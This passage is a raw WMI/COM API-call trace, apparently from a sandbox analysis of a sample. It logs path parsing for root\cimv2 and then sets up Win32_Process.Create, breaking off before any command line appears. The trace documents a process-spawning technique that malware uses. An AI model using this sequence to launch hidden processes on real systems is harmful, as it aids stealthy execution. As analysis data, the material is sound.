WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c022500) returned 0x0 [0087.960] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022500, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.960] WbemDefPath:IUnknown:Release (This=0x1c022500) returned 0x3 [0087.960] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.960] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.961] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x2 [0087.961] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x1 [0087.961] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.961] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.961] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0b30) returned 0x0 [0087.961] WbemDefPath:IUnknown:AddRef (This=0x1bea0b30) returned 0x3 [0087.961] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x2 [0087.961] WbemDefPath:IWbemPath:SetText (This=0x1bea0b30, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0087.961] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea18b0) returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0b30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0b30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0087.961] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea18b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0b30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0b30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0087.961] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea18b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0087.961] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea18b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0087.961] WbemDefPath:IWbemPath:SetClassName (This=0x1bea18b0, Name="Win32_Process") returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea18b0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea18b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0087.962] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0087.962] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0087.962] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0087.962] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0087.962] IUnknown:Release (This=0x111f638) returned 0x1 [0087.964] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c022220) returned 0x0 [0087.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022220, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0087.965] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022220, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea17f0) returned 0x0 [0087.965] WbemDefPath:IUnknown:Release (This=0x1c022220) returned 0x0 [0087.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea17f0) returned 0x0 [0087.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0087.965] WbemDefPath:IUnknown:AddRef (This=0x1bea17f0) returned 0x3 [0087.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0087.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0087.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c022240) returned 0x0 [0087.966] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022240, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.966] WbemDefPath:IUnknown:Release (This=0x1c022240) returned 0x3 [0087.966] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0087.966] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0087.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0087.966] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x2 [0087.966] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x1 [0087.966] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0087.966] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0087.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea17f0) returned 0x0 [0087.966] WbemDefPath:IUnknown:AddRef (This=0x1bea17f0) returned 0x3 [0087.966] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x2 [0087.966] WbemDefPath:IWbemPath:SetText (This=0x1bea17f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0087.966] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.966] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0087.966] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.966] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.967] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.967] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.967] IUnknown:Release (This=0x111f638) returned 0x1 [0087.969] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c021fe0) returned 0x0 [0087.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021fe0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0087.969] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021fe0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea15b0) returned 0x0 [0087.969] WbemDefPath:IUnknown:Release (This=0x1c021fe0) returned 0x0 [0087.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea15b0) returned 0x0 [0087.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.970] WbemDefPath:IUnknown:AddRef (This=0x1bea15b0) returned 0x3 [0087.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c022080) returned 0x0 [0087.970] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022080, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.970] WbemDefPath:IUnknown:Release (This=0x1c022080) returned 0x3 [0087.970] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.970] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.970] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x2 [0087.970] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x1 [0087.970] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.970] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea15b0) returned 0x0 [0087.971] WbemDefPath:IUnknown:AddRef (This=0x1bea15b0) returned 0x3 [0087.971] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x2 [0087.971] WbemDefPath:IWbemPath:SetText (This=0x1bea15b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea17f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea15b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetText (in: This=0x1bea15b0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0087.971] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea17f0) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea15b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea15b0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea15b0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0087.971] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea17f0, uIndex=0x0, pszName="root") returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea15b0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea15b0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0087.971] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea17f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea15b0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea15b0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea17f0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea17f0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea17f0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0087.971] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea17f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea17f0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea17f0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea17f0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0087.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea17f0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0087.972] IWbemServices:GetObject (in: This=0x1bf01d40, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ec780, ppCallResult=0x0) returned 0x0 [0087.978] IWbemClassObject:GetMethod (in: This=0x11ec780, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11ecaf0, ppOutSignature=0x1b2fd9e0*=0x11ece60) returned 0x0 [0087.979] IWbemClassObject:SpawnInstance (in: This=0x11ecaf0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf45e10) returned 0x0 [0087.979] IWbemClassObject:Get (in: This=0x1bf45e10, wszName="CommandLine", 